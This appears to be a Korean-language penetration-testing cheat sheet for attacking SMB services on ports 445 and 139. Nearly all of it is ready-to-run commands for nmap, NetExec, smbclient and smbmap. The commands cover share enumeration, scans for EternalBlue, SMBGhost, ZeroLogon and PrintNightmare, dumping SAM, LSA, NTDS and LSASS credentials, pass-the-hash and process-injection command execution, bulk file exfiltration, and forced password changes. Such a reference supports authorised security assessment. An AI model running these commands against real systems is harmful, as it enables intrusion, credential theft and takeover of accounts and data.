SMB (Port 445) 취약점 진단
Overview
SMB (Server Message Block): 파일, 프린터 공유 및 원격 명령 실행을 위한 프로토콜
주요 포트:
- 445/TCP: SMB over TCP (최신)
- 139/TCP: SMB over NetBIOS (레거시)
Assessment Checklist
- Null Session (익명 접속): 계정 정보 없이(Null) IPC$ 및 기타 공유 폴더 접근 가능 여부 점검
- 공유 폴더 권한: 파일 읽기(정보 유출) 및 쓰기(악성 파일 업로드) 권한 확인
- 알려진 취약점(1-day) 존재 여부: MS08-067, MS17-010(EternalBlue), SMBGhost 등 원격 코드 실행 취약점 점검
- 보안 설정 결함: SMBv1 활성화 여부 및 SMB Signing 비활성화(중간자 공격 가능) 여부 점검
1. Reconnaissance
서비스 및 버전 스캔
# 기본 버전 스캔 및 OS Discovery 스크립트 실행
nmap -p 139,445 -sV -sC <target>
nmap -p 445 --script smb-os-discovery <target>
# [레거시] Enum4linux를 이용한 전체 정보(OS, 도메인, 사용자, 그룹) 열거
enum4linux -a <target>
NetExec을 이용한 기본 시스템 열거 (권장)
# 기본 접속 및 Null Session 테스트
nxc smb <target> -u '' -p ''
# 사용자 및 로컬 그룹 열거
nxc smb <target> -u '<user>' -p '<pass>' --users
nxc smb <target> -u '<user>' -p '<pass>' --groups
# 디스크 정보 및 로그온 사용자 확인
nxc smb <target> -u '<user>' -p '<pass>' --disks
nxc smb <target> -u '<user>' -p '<pass>' --loggedon-users
# RID 브루트포스 (사용자 목록 추출)
nxc smb <target> -u '' -p '' --rid-brute
2. Exploitation
공유 폴더(Share) 열거 및 탐색
# [NetExec] 익명 접속으로 공유 폴더 목록 및 디렉토리 열거
nxc smb <target> -u '' -p '' --shares
nxc smb <target> -u '<user>' -p '<pass>' --shares --dir "<folder>"
# [smbclient] 공유 폴더 목록 조회 및 인증 접속
smbclient -L //<target> -N
smbclient //<target>/<share> -U <user>
# [smbmap] 공유 목록 및 권한(Read/Write) 동시 확인
smbmap -H <target> -u '' -p ''
공유 폴더 마운트 및 파일 처리
# 1. 로컬에 CIFS 마운트 포인트 생성 및 마운트 (인증 또는 Guest)
sudo mkdir -p /mnt/smb
sudo mount -t cifs //<target>/<share> /mnt/smb -o username=<user>,password=<pass>
sudo mount -t cifs //<target>/<share> /mnt/smb -o guest
# 2. [대안] NetExec을 활용한 파일 다운로드/업로드
nxc smb <target> -u '<user>' -p '<pass>' --get-file \\path\\file.txt local_file.txt
nxc smb <target> -u '<user>' -p '<pass>' --put-file local_file.txt \\path\\file.txt
# 3. [대안] smbclient 쉘 내부에서 다중 파일 다운로드
smb> mask ""
smb> recurse ON
smb> prompt OFF
smb> mget *
SMB 주요 취약점(RCE) 스캔
# [Nmap] 전체 SMB 관련 취약점 스크립트 실행
nmap -p 445 --script "smb-vuln-*" <target>
# [NetExec] 특정 크리티컬 취약점 검증
nxc smb <target> -u '' -p '' -M ms17-010 # EternalBlue
nxc smb <target> -u '' -p '' -M smbghost # SMBGhost
nxc smb <target> -u '' -p '' -M zerologon # ZeroLogon
nxc smb <target> -u '' -p '' -M printnightmare # PrintNightmare
자격증명 덤프 (Credential Dumping)
관리자 권한 획득 후 NetExec을 활용해 타겟 시스템의 크리덴셜 덤프
nxc smb <target> -u '<admin>' -p '<pass>' --sam # SAM 해시 덤프
nxc smb <target> -u '<admin>' -p '<pass>' --lsa # LSA 비밀번호 추출
nxc smb <target> -u '<admin>' -p '<pass>' --ntds # 도메인 컨트롤러 NTDS.dit 덤프
nxc smb <target> -u '<admin>' -p '<pass>' -M lsassy # LSASS 메모리 덤프 (명령어/모듈)
원격 명령 실행 (RCE)
# [NetExec] 비밀번호 또는 해시(Pass-The-Hash)를 활용한 OS 명령어 실행
nxc smb <target> -u '<admin>' -H '<NTLM_HASH>' -x "whoami"
# Process Injection 방식 명령어 실행
nxc smb <target> -u '<admin>' -M pi -o PID=<PID> EXEC=<COMMAND>
3. Advanced Techniques
Spider Plus 모듈을 활용한 대규모 파일 추출
NetExec의 Spider Plus 모듈을 활용하여 접근 가능한 모든 공유의 파일을 자동화하여 분석/다운로드
# 전체 파일 목록 수집 및 확인
nxc smb <target> -u '<user>' -p '<pass>' --shares -M spider_plus
# 자동 다운로드 활성화 및 크기 제한 설정
nxc smb <target> -u '<user>' -p '<pass>' --shares -M spider_plus -o DOWNLOAD_FLAG=true MAX_FILE_SIZE=99999999
일반적인 Windows Share 네이밍 규칙
공유 이름에 따른 용도 파악으로 공격 효율성 증대
ADMIN$: 원격 관리용 (C:\Windows, 관리자 전용)C$,D$: 드라이브 루트 (관리자 전용)IPC$: 프로세스 간 통신 (보통 익명 Null Session 허용)print$: 프린터 드라이버- 숨김 폴더: 끝에
$기호가 붙어 있음
4. Post-Exploitation
사용자 비밀번호 변경 및 계정 제어
장악한 권한을 통해 기존 사용자 비밀번호 변경 혹은 악성 계정 생성
# 자신의 비밀번호 변경
nxc smb <target> -u '<user>' -p '<pass>' -M change-password -o NEWPASS=<new_pass>
# [관리자 권한] 타 사용자 비밀번호 강제 변경
nxc smb <target> -u '<admin>' -p '<pass>' -M change-password -o USER=<target_user> NEWPASS=<new_pass>